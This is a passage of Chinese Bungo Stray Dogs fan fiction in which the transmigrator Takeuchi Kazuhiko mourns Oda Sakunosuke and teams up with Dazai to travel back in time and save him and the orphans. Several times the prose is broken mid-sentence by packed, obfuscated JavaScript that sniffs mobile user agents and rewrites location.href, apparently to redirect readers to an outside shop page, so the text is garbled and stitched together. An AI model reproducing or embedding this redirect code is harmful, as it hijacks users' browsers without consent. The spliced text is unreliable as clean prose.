竹内和彦手指着自己,又指了指织田作之助,对孩子们认真说道: “我和织田作论兄弟,然后我又和你们称兄道弟,听明白了吗?” 五个孩子齐声喊:“明白了!” 嘴上喊得很大声,但其实一脸蒙圈,显然没完全搞懂其中的逻辑。 一旁的太宰治看得分明,他有心想要戳破然后大肆嘲笑一番,还没等他开口,就被提前预判了他动作的竹内和彦一把捏住了嘴巴。 竹内和彦眼睛危险地眯成一条缝,笑呵呵地威胁道:“小嘴巴,不说话。” 太宰治惊恐挣扎:“唔唔唔唔唔唔!”他疯狂给织田作递眼神,求助的意味不言而喻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205882|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但只要闹得不过火,作为大家长的织田作之助从来不会干涉这种“大孩子带小孩子”的打闹,只是在一旁静静看着,默默留意着众人的安全。 求助无门的太宰治只能屈辱地向竹内大魔王低头,含糊地“唔唔”了两声表示妥协。 竹内和彦满意松手。 “早这样不就好了。” 而在聚会之外的工作时间,竹内和彦除了忙碌枯燥乏味的文书工作,便是偶尔在福泽社长没空的时候出出外勤,充当贴身保镖的角色,保护侦探社的“大脑”江户川乱步平安无虞。 不过大部分情况下,竹内和彦充当的是导盲犬的角色。 没错,就是导盲犬! 不仅要导航,还要牵引。 乱步先生路痴和撒手没的特性,竹内和彦这两年可是深有体会,时刻警惕。 除去一些无伤大雅的小风波,总体来说,这两年竹内和彦过得十分顺心。 可事情往往经不起念叨。 就在竹内和彦以为,自己会一直这样悠哉游哉地生活下去,不时和三两好友相聚、看望孩子们时。 意外,发生了。 7. 第七章 这是和往常别无二致的一天,窗外雨下得连绵不绝,从淅淅沥沥的小雨逐渐变大,寒意也越来越浓。 侦探社内,竹内和彦正专心处理着手头的工作,突然感觉一阵心神不宁。 心脏闷闷地跳动着,却怎么也找不出缘由。 试了好几次都没法重新投入工作,竹内和彦只好尝试想些开心的事转移注意力,缓解这股心慌意乱的难受劲儿。 就在他琢磨着,一会下班后,是要窝在宿舍里美美地睡上一觉,还是去找织田作蹭饭时,江户川乱步冒着大雨冲了回来。 明明带着伞,他却浑身湿透了。 还不待竹内和彦开口调侃他好端端的,怎么成了落汤鸡,江户川乱步便语速极快地告诉了他一个惊天噩耗。 “和彦,来不及了!快!织田现在有生命危险!”边说,江户川乱步边大口喘着粗气。 事关紧急,匆忙跑回来的他根本没时间调整好呼吸再讲话。 唇角未散的笑意僵硬在脸上。 竹内和彦如遭雷击。 “什么?!!乱步先生,发生了什么?织田作现在在哪儿?” 他“唰”地一下猛地站起身,身后的椅子被他骤然起身的动作带倒在地,砸在地上发出一声巨响,但心急如焚的竹内和彦早已无暇顾及。 此时天空乌云翻滚、电闪雷鸣,随着竹内和彦的话音落下,一道强烈刺目的白光骤然划破天际,像是把天硬生生劈开了一道口子,照亮了他煞白如纸的脸色。 江户川乱步长话短说,赶紧把自己通过「超推理」看到的信息告诉竹内和彦。 不仅竹内和彦着急织田作之助的安危,江户川乱步也是如此。 竹内和彦是武装侦探社的事务员,在不刻意避开的情况下,不可避免的,其他社员会接触到总是被竹内和彦挂在嘴边的“天使”织田作之助。 因此江户川乱步对织田作之助并不陌生,也认出了他是当年有过一面之缘的少年杀手。 也知道他如今已经放下屠刀,金盆洗手不再沾杀人的勾当,只是在港口Mafia安心做一个普通的底层人员,还收养了五个在龙头战争中失去了父母的孤儿。 起初,竹内和彦还曾提议,能不能让织田作之助来武装侦探社工作。 在他看来,比起充斥着死亡与暴力的港口Mafia,安稳平和的武装侦探社,显然更适合想要安稳度日的织田作之助。 太宰治三言两语便打破了竹内和彦天真的幻想。 提交辞呈,办理离职手续,然后去新公司上班——这是普通人换工作的流程。 只要没有其他纠纷,便能顺利解除与旧东家的劳动关系,入职新的工作单位。 但港口Mafia虽然明面上挂着“森氏株式会社”的公司牌子,却是实打实的极道组织。 因此,在港口Mafia,这套适用于普通人的职场规则,完全行不通! 不,何止是港口Mafia,放眼整个里世界,在任何一个极道组织,“跳槽”都基本可以跟“背叛”画上等号。 忠诚是黑手党最为看重的东西。 而背叛,便是最大的罪行。 一旦有成员背叛组织,黑手党会不惜一切代价,将叛徒清理门户,以儆效尤。 像是担心竹内和彦不清楚黑手党处理叛徒的手段,太宰治恶劣地给他详细道来。 “首先要让叛徒咬住铺路石。” “然后踢他的后脑以破坏下颚。” “再将痛苦不堪的这个人翻转过来。” “朝胸口连开三枪。” “——这就是背叛港口黑手党的下场。”① “怎、怎么这么残暴……” 听了太宰治的描述,被强行科普了一番的竹内和彦震撼得膛目结舌,身体快跟着语言感到幻痛了。 不禁道:“提出这个刑罚的人简直就是人间恶魔好伐!” 太宰治弯眼:“不才正是在下。” 竹内和彦:“……那难怪了。” 一阵无语凝噎后,他们继续讨论织田作之助跳槽武侦的可能性。 最终得出一个悲伤的结论—— 希望渺茫。 如果织田作之助还是孤家寡人,倒也无妨,当年他一人双枪闯天下,强大到被人脑补成是一个杀手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205883|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织,面对港口Mafia的追杀,哪怕麻烦了些,却也不会给他带来致命的危险。 可现实是,他还有五个孩子需要照顾。 有句老话说得好,光脚的不怕穿鞋的。现在的织田作之助就是那个穿鞋的。 人一旦有了软肋,行事难免变得瞻前顾后、束手束脚了起来。 竹内和彦的提议也就不了了之。 他沮丧地低下头,遗憾放弃了跟亲亲织田作成为同事的念头,没注意到身旁最努力给他泼冷水的太宰治若有所思的眼神。 织田作之助虽然没能成为武装侦探社的一员,但有竹内和彦这个中间桥梁在,两年的时间,社员们也渐渐跟他熟络了起来。 所有人都知道,织田作之助对竹内和彦而言有多重要。 所以江户川乱步在认出在雨幕中慌乱疾跑,将他撞倒的人是织田作之助后,动用「超推理」了解清楚前因后果,又试图劝说阻拦未果,便立刻直奔侦探社给竹内和彦递消息了。 江户川乱步指了个方向,竹内和彦便心急火燎地夺门而出。 一路狂奔,脚下丝毫不敢停歇。 冰冷的雨噼里啪啦地拍打在身上,带走了体表的温度,竹内和彦的身体控制不住地带起一阵颤栗。 但不是因为冷。 而是怕。 他害怕失去织田作。 怕到极致,身体也就不自觉地出现了反应。 脚下的步伐越来越快。 竹内和彦的视线死死盯着前方,大脑一片空白,只剩下“快点,再快点”的念头。 沿途的景象飞速向后掠去,道路两旁的绿化树早已看不清完整的轮廓,只剩下一道道模糊的绿影,在视野里飞速倒退。 因为失去一部分记忆的缘故,竹内和彦始终不明白,自己穿越前明明是一个脆皮大学生,穿越后为什么会拥有这么这样超乎常人的体能。 竹内和彦尝试问过在他眼里无所不知的乱步先生,可惜名侦探也没能从有限的线索里面给予他答案。 但现在竹内和彦很是感激他拥有这份被强化了的体能。 脚步踏过,水花四溅。 8. 第八章 “吭哧吭哧……” 眼前的世界在视野中随着步伐晃动,竹内和彦喉间涌出一股子甜腥味。 那是肺在无声发表着抗议。 叫嚣着想要得到休息。 但竹内和彦不敢停下歇息,顺口气。 多年跑1000米体测的经验告诉竹内和彦,他现在能跑这么快,全凭心里这口气吊着。 这口气要是松了,劲也跟着泄了,他就再跑不动了。 所以他紧咬牙关,用尽全身力气去挥动双臂、迈开脚步,生怕去迟一步织田作之助会出事儿。 在竹内和彦没有意识到的时候,他身体深处的潜能被激荡的情绪牵引,皆尽爆发出来,气势汹汹。 掀起的气浪误打误撞冲破了体内的某个枷锁,锁链松动,些许记忆片段挣脱出来,在脑海中一闪而过。 惊鸿一瞥,似乎与他穿越时丢失的记忆有关。 竹内和彦来不及探究。 此时的他全神贯注于脚下与前方。 一步,一步,又一步。 倘若这时恰好有人与他擦肩而过,恐怕只能看到身边掠过一道残影,却无法窥得其庐山真面目。 ——跑得实在是太快了。 可即便竹内和彦爆发小宇宙,飞一般冲刺,马不停蹄赶到江户川乱步给他的地点。 却还是来晚了。 竹内和彦暴力地踹开碍事的大门,将整个封闭空间内部尽收眼底。 他的目光直直掠过其他不知名的黑衣尸体,停留在了窗边空地。 竹内和彦瞳孔骤缩,呼吸近乎停滞。 窗外连绵不绝的雨声不知道什么时候停了,残阳破云而出,金灿灿的阳光透过玻璃窗斜照下来,洒落在地上两人身上。 一个跪着,一个躺在跪着的人怀里。 一生,一死。 都不需要过脑子,竹内和彦一眼就认出来他俩是谁。 两年的时间,太宰治和织田作之助的面容已经深深烙印在竹内和彦的脑海里,哪怕化成灰他都不会认错。 可现在,他多么希望是自己认错人了。 眼眶滚烫,蜿蜒流淌进唇缝里的咸涩泪水无情地击碎了竹内和彦的逃避。 让他无法埋起头来,自欺欺人。 地上那两人就是他们。 是太宰,和……织田作。 织、田、作…… ……死了? 竹内和彦嘴唇翕动,吐出几个模糊的音节,似是说一些无意义的语气词,又似是在叫某个人的名字。 倏地,竹内和彦的头剧烈地疼痛了起来。 织田作还在等我。他呢喃道。 竹内和彦强忍着头痛欲裂的难受,趔趔趄趄地朝二人走去。 区区几步,他却走得实在艰辛。 每一步都像是扎在泥潭里,抬不起,迈不开,脚印一深一浅,随时都可能因为重心不稳摔倒在地。 太宰治常年缠绕在右眼的绷带被人解开,散落在地,听到竹内和彦发出的动静他仍旧双眼紧闭,动也不动,如一座封闭了喜怒哀乐的雕像,静静感受怀中的温度逐渐冷去。 “砰”的一声,竹内和彦双膝重重着地,跪在织田作之助尸体前面。 竹内和彦颤抖着手,将手指横放在织田作之助人中的位置。 ……没有鼻息。 他颓然坐在脚跟上,万念俱灰。 头,更疼了。 许久,竹内和彦哑着嗓子问道:“是谁干的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205884|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”太宰治嘴唇颤抖,没有回应,睁开的鸢色眼眸只余一片死寂。 “我问你是谁干的!!” 竹内和彦身子前倾,扯着太宰治的领子怒吼,目眦欲裂。 不管织田作的死有什么隐情,不管他即将面对的仇人是怎样的庞然大物,竹内和彦都没在怕的。 在这个世界,他没有血脉相连的亲人,唯一认可的家人兼好友是织田作。 而现在,他连这唯一的牵绊都失去了。 他还有什么好害怕的? 太宰治似有所感,抬眼对上竹内和彦悲痛欲绝的愤怒眼神。 在眼神里看到他想要的东西后,太宰治扯了扯嘴角,笑了。 “你确定你要知道?不后悔?” 问是这么问,但太宰治根本不给竹内和彦一丝犹豫的机会,直接把真相挑明。 “直接凶手是他,”太宰治指着纪德和Mimic成员的尸体,“织田作已经亲自动手报仇雪恨了,连带他收养的那五个孩子的份。” “而间接凶手,那个在背后操纵了这一切的人——” “是港口Mafia首领,森鸥外。” 看着竹内和彦毫不犹豫转身离去的背影,太宰治嘴角的弧度咧得越来越大,快要扯到耳根去了。 脸颊抵着怀里织田作冰凉的额头,太宰治神经质地喃喃道:“竹内去了,你的仇就要报了。” 说着,他眼前似乎幻视出原本胜券在握的森鸥外祸从天降,疲于应对的狼狈样子。 “呐,森先生,一命偿一命,不过分吧。” 太宰治觉得不过分。 至于三刻构想的稳定…… 反正横滨不会出事的,就让他痛快一回吧。 9. 第九章 海边,坟墓。 太宰治跪坐在新立的墓碑前,指尖轻轻摩挲着碑面上的纹路,向长眠于此的好友做最后的告别。 他没有流泪。 眼泪是弱者无能为力的宣泄。 太宰治自认自己不是弱者。 也还没到走投无路的地步。 没什么好哭的。 真要哭,也得留到在该哭的人面前哭给他看。 所以太宰治只是安静地向织田作之助道别,顺带等他在等的那个人来找他。 “你是在等我?” 一道声音从身后响起。 太宰治没有惊讶,也没有回头,他知道来的人是谁。 正是他等的那个人。 太宰治没有回答他的问题,像是默认了一般。 身后人久久等不到回应也不恼,径直走到他身边,在织田作之助的墓前放上一束白菊,然后紧挨着太宰治席地坐下。 一股挥之不去的浓重血腥味扑面而来,直冲太宰治的鼻腔。 太宰治故作嫌恶地往旁边挪了挪:“竹内,你这是杀了多少人,浑身臭死了。” “港口Mafia该不会连只狗都没留下来吧。” 竹内和彦翻了个白眼:“……不用试探了,我一个人都没杀。” “为什么?”太宰治有点意外地转过头来看他:“你心软了?” 按理说,还没有恢复记忆找回自己能力的竹内和彦,在被愤怒与悲伤冲昏头脑的情况下,根本不可能克制住自己,对害死织田作的罪魁祸首手下留情。 不要讲什么他只是个普通人,下不了手这种话。 先不提普通人被触及逆鳞,也有匹夫一怒,流血五步的时候。 单说竹内和彦身上那藏都藏不住的煞气和织田作之助都不敌的身手。 哪怕他披上羊皮,把自己伪装成温润无害的小绵羊,融入羊群学着咩咩吃草,也没有人会错认了他这头凶狠的狼。 竹内和彦没懂太宰治疑惑的点,老老实实托盘而出自己的想法。 “本来想杀的,但我不知道神话传说中的地狱到底存不存在,所以我要让他们活着,活着为自己犯下的过错赎罪。” “而且一死了之也太便宜他们了吧。” “还是活着受罪好。” 竹内和彦边说边自顾自点头,不用太宰治评价,他直接自己肯定自己,一脸“我真聪明”的得意劲。 太宰治:“……”说得好有道理。 对于森鸥外和港口Mafia的悲惨遭遇,太宰治并不觉得抱歉。 Mafia向来奉行丛林法则,推崇弱肉强食。技不如人,就要做好立正挨打的准备。 更何况,本就是他们主动招惹。 先撩者贱,活该。 这个话题到此为止了。 墓地重归寂静,耳边唯余风和海的声音。 竹内和彦感受着海风吹拂在脸上的温柔,浑身的燥热被抚平,心随之平静了下来,整个人陷入一种灵魂出窍的放空状态。 就在竹内和彦以为这个下午要在这样安静祥和的状态中度过时,太宰治突然开口:“你恢复记忆了。” 他用的陈述句,语气十分笃定,甚至不等回过神来的竹内和彦肯定与否,就自顾自地往下说着自己观察得到的结论: “在去港口Mafia报仇的时候你就已经恢复记忆了,不然你不会放过那些伤害织田作的人的。” “失去记忆的你,无疑是一头怀揣强大力量而不自知的野兽,虽然因为织田作的缘故有了牵挂,努力当一个符合世俗规范的普通人,可一旦栓住你的丝线断开——失去理智的野兽便会顷刻破笼而出。” “留着仇人的命慢慢折磨,不是失忆时的你的作风。” “所以只有一个可能,你恢复记忆了。”太宰治一口断言。 竹内和彦徒劳地张了张嘴,又闭上。他想要狡辩的话还没出口,就被太宰治一一堵死。 竹内和彦有些郁闷。 太宰治话都说到这个份上了,气馁的竹内和彦干脆破罐子破摔,承认了。 “是,我恢复记忆了。” “我不是这儿的人,我是从末世身穿到这个世界的。” “哦~愿闻其详。”太宰治挪了挪屁股,侧头做出一副洗耳恭听的样子。 竹内和彦沉吟片刻,整理了一下自己的语言,坦然说道: “在我老家,这个世界是一部名叫《文豪野犬》的二次元少年漫。它是我在末世前正在追的一部作品,可惜还没追完,末世就来了。” 竹内和彦语气里带着几分遗憾。 太宰治若有所思:“所以「人间失格」对你无效——因为你不属于这个世界,你所拥有的能力也跟我们不是一个体系的。” 竹内和彦点头。 “不过……知道自己是一部漫画里的人物,难道你就不好奇剧情走向吗?” “达咩!”太宰治双手比了个叉,皱巴着脸嫌弃道:“完全没有这个好奇心呢。” “这个世界已经够无聊了,如果连接下来要发生什么都提前知晓,那我活下去还有什么意义?当一个按剧本走的傀儡吗?” “你说的有道理。”太宰治不愿意,竹内和彦也不勉强。 “竹内愿意告诉我,你穿越之前发生了什么吗?让你来到这里的原因。”太宰治声音放轻,似一个纯澈的邻家少年。 已经恢复记忆,深谙太宰治秉性的竹内和彦下意识搓了搓手臂上立起来的鸡皮疙瘩。 无事献殷勤,非奸即盗! 这是准备挖坑埋我了! 看出他的小动作,几缕思绪划过,太宰治心里又多了几分思量。 反正都换了个时空了,过去的事情也没有藏着掖着的必要,竹内和彦决定满足自推的好奇心。 是的,他前世推这个黑泥精! 咳,现在也是。 千万不能让太宰知道,不然这个人绝对会蹬鼻子上脸的!竹内和彦拉响警报。 “末世来临后,全球异化,有的人没扛住域外病毒的侵扰,变成了行尸走肉的丧尸;有的人挺过了域外病毒的改造,获得了元素异能。” “我便是这场‘进化’的幸存者之一,幸运地获得了强大的异能,在混乱无序的末世活了下来。” “可惜随着时间的推移,异能者等级提高的同时,丧尸也吞噬出了最强形态——丧尸王。” “我就是在与丧尸王对抗的时候意外堕入时间缝隙。” 说起自己的过往,竹内和彦语气很是平静。 “在时间缝隙里,时间是最没有存在感的。漫长而没有感知的岁月让我封闭自我、丢失记忆,直到被一阵乱流卷到这个世界后,更是只记得末世来临前的事情,就这,也是七零八落。” “直到乱步先生告诉我织田作有生命危险,刺激到了我的大脑神经,我才开始恢复记忆。” “剩下的你也知道了。”竹内和彦摊手。 听完竹内和彦的陈述,太宰治单手叉着腰,把下巴架在大拇指与食指中间陷入沉思。 竹内和彦背脊一凉,有种大事不妙的预感。 不会真被他看出自己隐藏的信息了吧。 竹内和彦眼神闪烁。 “话说……好像到现在,竹内都没说过自己的异能是什么。”太宰治歪头,眯起眼睛看向他。 “某人该不会是想吃独食,自己去救织田作,好取代他亲爱的挚友我,成为他不可割舍的存在吧?” “怎么可能!!” 竹内和彦第一时间否认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205885|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下一秒他就意识到不对,反应过来的他僵硬地别开眼,不敢直视太宰治深邃的眼睛。 我个没出息的,怎么就不打自招了呢。竹内和彦在心里狂扇嘴巴子。 “嗯?不可能什么?”太宰治步步紧逼。 “不、不可能……”竹内和彦脑子疯狂运转,试图找出一个理由糊弄过眼前这个聪明得过头的剧本组。 竹内和彦磕磕巴巴的,一个字一个字地挤着牙膏似的往外嘣。 太宰治等了半天都没等到一个合适的借口,怕把竹内和彦本就不怎么灵敏的脑袋瓜烧短路了,赶紧出声打断了他。 “我没猜错的话,你的异能是跟时间有关。” 竹内和彦猛地睁大了眼。 太宰治确认了自己的猜测,继续推理:“强大的力量往往意味着等价交换。就像我的「人间失格」可以无效化其他异能,代价是必须亲手触碰才能生效。” “而众所周知,时间是不可逆转的。如果你要使用时间异能这种超规格的能力,付出的代价一定极大。” “玩弄时间的人,终将被时间遗弃。坠入时间缝隙,就是你过度使用异能的后遗症。” 竹内和彦下巴已经震惊得快到掉地上了。 剧本组,恐怖如斯。 不削能玩?! 太宰治强迫竹内和彦看向自己。 “事到如今,和彦你还是不愿意跟我坦诚吗?我以为我们是朋友。” 见自推一脸受伤的表情,竹内和彦虽知里面演的成分很大,还是忍不住心软。 真拿他没辙。竹内和彦叹气。 竹内和彦深吸一口气,再重重吐出:“不愧是太宰先生。你说的基本没错。” “只除了后遗症没说全。” 竹内和彦催动身体的力量,具象出脑子里的晶核虚影,原本流光溢彩的晶体上布满斑驳裂痕,已然处在碎裂边缘。 “这是晶核,是我们那个世界异能力的聚合体,存在于异能者和丧尸体内。” “我每一次使用时间异能,都会对晶核造成破坏。如果只是小范围、小事件的使用,晶核能够缓慢自行修复损伤,可一旦超过晶核自愈的临界点,就会造成不可逆的伤害。” “所以不是我有意欺瞒你,而是我没有把握保证自己能支撑到改变织田作命运的那一刻。” “晶核和时间缝隙的风险太大,我不能拉着你一起冒险。” 太宰治沉默半晌,道:“其实你没必要在乎我的生死,不是吗?” “有了我的帮助,你拯救织田作的成功几率会更高,必要时,你也可以把我扔去堵住时间缝隙,为自己的逃跑赢得时间。” “只要牺牲我就可以了——” 剩下未出口的话被迫止在舌尖,太宰治捂着自己的脸颊,一向智珠在握的他难得懵了。 “……你打我?” “打的就是你!”竹内和彦双眼喷火,比被他打的受害者还生气。 “你当你是什么舍生取义的救世主吗?牺牲你一个,幸福千万家?我呸!太宰治,你未免也太看得起你自己了。” “你不过是一个有点特殊能力的、聪明一点的普通人罢了。会受伤,会流血……会死!” “你拥抱了你梦寐以求的死亡,那我们怎么办?我们这些在乎你的朋友,就可以心安理得地继续我们的生活,将你彻底遗忘吗?” “肉.体的死亡从来不是终点!” 竹内和彦被怒火占据了理智高地,对着他又爱又怕的太宰治就是一顿输出。他已经有点语无伦次了,想到什么就说什么,完全没过脑子。 而被喷了一脸唾沫的小兔宰治也罕见地乖乖挨训,没有反抗。 海风还在呼呼地吹着,轻柔地卷走了悬崖上、墓碑前的絮语。 10. 第十章 某个不知名的集装箱内。 港口Mafia的叛逃干部太宰治与武装侦探社的事务员竹内和彦在此碰头。 来之前,竹内和彦跟社长请了长假。 担心自己此去可能再也回不来,竹内和彦特意回了一趟宿舍,把自己准备拿来投喂大、小孩的零食一股气全搂了出来,在福泽谕吉社长的见证下,放进了江户川乱步的专属零食柜。 福泽谕吉紧绷着一张脸,努力无视一旁嗷嗷待哺的名侦探猫猫,为了得到柜子里的零食,向他投来的可怜巴巴的眼神。 关门,上锁,一气呵成。 然后赶紧逃离现场。 生怕自己一个心软,把钥匙给了出去。 没办法,要是不管控每日摄入的零食量,这个不懂节制的孩子准吃得自己牙疼才明白适可而止。 伤在乱步身,疼在社长心。 在其位谋其政,身为江户川乱步的监护人,为了他的身体健康着想,福泽谕吉必须狠下心来管教。 临别的时候,江户川乱步收起遗憾的表情,戴上社长给他的眼镜,对竹内和彦发动异能力「超推理」。 竹内和彦被他打量得有点紧张。 “乱步先生,怎么突然对我用异能了?” 侦探社的人都知道,乱步先生一戴上眼镜,准是在推理——虽然他与生俱来的聪明头脑并不需要眼镜作为媒介,但他觉得自己需要。 得到想要的信息后,江户川乱步珍视地收起眼镜。 “看在你大方上供的粗点心的份上,名侦探提醒你,如果想要改变织田必死的结局,单单阻止他的死亡节点是没用的,得从他收养的五个孩子身上入手。” “那是他实现自我救赎的锚点之一。” “他们的死亡,也是织田决意赴死的原因。” 恢复记忆后,竹内和彦通过之前网友对织田作之助的分析,知道五个孩子对他的意义,江户川乱步不像他一样有着上帝视角,却凭着有限的线索分析出这一点,不愧是世界第一名侦探,实至名归。 竹内和彦后退一步,向江户川乱步深深鞠了一躬。 “多谢乱步先生指点,要是这次我能成功回来,必定会竭尽所能报答。” 乱步的心意,他领了。 滴水之恩,涌泉相报,来日他定当十倍百倍偿还恩情。 “再见,祝君武运昌隆。” “再见,乱步先生。”竹内和彦踌躇了一下,向江户川乱步请求道:“可以的话,请替我向侦探社的大家说声道别吧。” “你不自己跟他们说吗?” 竹内和彦摇头:“再不走,我怕我会舍不得。” “但我是一定要去救织田作的。既然结果已经注定,那又何必再平增离别哀伤呢。”他语气低迷。 江户川乱步定定看了他一眼,郁闷妥协道:“名侦探只答应帮你说请假的事,其他的等你回来自己跟他们讲。” 感受到乱步别扭的关心,竹内和彦莞尔笑道:“好,剩下的我回来再跟大家解释。” “嗯,一路顺风。” “……” 竹内和彦没有接乱步的话。 这一去,他是生是死犹未可知,又如何给人承诺。 下楼出门,竹内和彦忍不住回头望了一眼武装侦探社所在的红砖房四楼,那是他待了两年的地方。 希望还有下次再见的机会。 竹内和彦在这个世界的羁绊越来越多,在时间缝隙受够了孤独的他贪婪地享受着这一切,舍不得放手。 他要和太宰一起救下织田作,活着与武侦的大家团聚一堂。 …… 集装箱内。 “关于Mimic的信息你都搜集到了吗?”竹内和彦问收集完情报的太宰治。 竹内和彦的晶核随时处在碎裂边缘,最多支持他们穿越一个来回,他们必须尽可能多地掌握有效信息,争取一举成功。 所以竹内和彦就把这个收集情报的重要任务交给了太宰治。 至于他为什么不自己上? 没办法,武装侦探社在这时还没有后来,与港口Mafia、异能特务科三足鼎立,瓜分横滨黄昏的强大,有些孤陋寡闻的甚至可能都不知道横滨有这一组织。 现在的横滨还是港口Mafia一家独大的局面。 在港口Mafia宣告他叛逃前,太宰治五大干部之一的名号还是很有用的,能拿到不少的小道消息。 当然,就算刨除这些头衔,仅凭太宰治自己的手段,也能成功拿到情报。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205886|197334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是比起前者,会多花点时间。 太宰治现在最缺的就是时间了,所以他毫不犹豫地动用港口Mafia的渠道打听他要的情报。 不用白不用。 现在不用,以后就难用了。 面对竹内和彦的问题,太宰治毫不犹豫应道:“一切都准备好了。” 竹内和彦颔首:“行,那就出发吧。” “但在出发前,我必须警告你一件事情——不要做多余的事。” “对于一个正常运行的世界,拨弄时间回到过去的我们与病毒无异,是需要清除的危险因素。” “所以我们必须小心再小心,不能让世界意识察觉到我们的异样。” “一旦过度干涉历史,过去与现实产生剧烈冲突,世界意识就会立即启动消杀程序,打开时间缝隙将我们关押起来。” “然后修正被篡改的历史。” 说到最后,竹内和彦态度无比庄重,这是他和太宰都不能承受的后果。 太宰治也随之严肃了面容:“明白,我不会轻举妄动的。” “另外,我的异能最多把我们带到24小时之前,再长容易暴露出我们的存在,所以我们必须有一个明确的时间点穿越。” 太宰治沉思片刻:“既然不能大幅度改变已经发生的历史,那我建议将穿越的时间定在,织田作拿到银之手谕去对付Mimic之后,五个孩子死亡之前的时间段。” “到地后我们分头行动,我去阻止织田作。” “你身手好,借着爆炸的掩饰救走五个孩子。” “怎么样,有困难吗?” 太宰治跟竹内和彦经历过无数次斗智斗勇,对他的武力值很是了解。 这家伙简直就是超级赛亚人的人间体。 小小爆炸压根阻挡不了他。 竹内和彦没有问太宰治为什么要分本就不充足的人手去救五个孩子。 同为手握剧本的男人,江户川乱步能看出的事情,太宰治当然也不成问题。 对于太宰治的分工,竹内和彦欣然接受,并接下属于他的任务:“没有问题!” “一切为了织田作。” “一切为了织田作。” 两只拳头在空中碰拳,为了同一个目标。 11. 第十一章 莹白色的光晕将竹内和彦和太宰治包裹在内。 光圈外的时间正在飞速倒流。 低头看了一眼时间,他们成功回到了事件发生之前。 竹内和彦按照原定计划,与太宰治兵分两路行动。 …… 进口许可事务所。 站在这座蓝色建筑前,竹内和彦不禁心生感慨。 果然,想要拯救织田作,光靠他一个人的力量是远远不够的。 虽然竹内和彦看过《文豪野犬》的原著,但没有本地土著的指引,他很难快速且精准地找到,这座只在剧情里被简单提及的进口事务所。 所幸这是太宰治为孩子们安排的住处,他很清楚具体位置在哪儿。 竹内和彦在进门前,先瞥了一眼侧边的公共停车场。 那辆Mimic的苔绿色小型公车已经停靠在那了。 竹内和彦假装是前来这里办事的工作人员,镇定自若地凑了过去。 他没有靠得太近——万一车上有Mimic留守的人,打草惊蛇就麻烦了。 虽然他能解决,但多一事不如少一事,没必要平白横生波折。 况且凭借竹内和彦在末世练就的超强五感,即便隔了一段距离,同样也能感知到车上的人员气息。 竹内和彦沉下心来凝神感受。 车内没有幸介、克巳、优、真嗣、咲乐的气息。 看来孩子们还在事务所里,没有被转移出来。竹内和彦心想。 事务所的工作人员早在孩子们被转移过来之前就被太宰治支走了,竹内和彦很是顺利地走了进去。 他谨慎地猫着步子走上楼梯。 Mimic的士兵正在抓孩子们。 竹内和彦收敛全身气息,将自己隐于会议室的门后。 透过合页的间隙,竹内和彦亲眼看见年龄最大的幸介,为了保护其他孩子不被抓走,被一身灰衣的Mimic士兵一拳打翻在地的场景。 幸介的眼眶肉眼可见肿了起来。 那是他看着长大的孩子。 看着他们被如此伤害,竹内和彦差点不顾一切地冲上去把他们带走。 但小不忍则乱大谋,在还不确定Mimic士兵是否已经将消息传给纪德之前,竹内和彦不能轻举妄动。 拥有在末世生存的记忆的竹内和彦最擅长隐忍。 但心里那本帐翻得猎猎作响。 他发誓,一定要用最狠厉的手段教训这群人,让他们为自己的行为付出惨重的代价! 幽灵合该下地狱! 手无寸铁的孩童对上战斗经验丰富的退伍士兵,胜负毫无悬念。 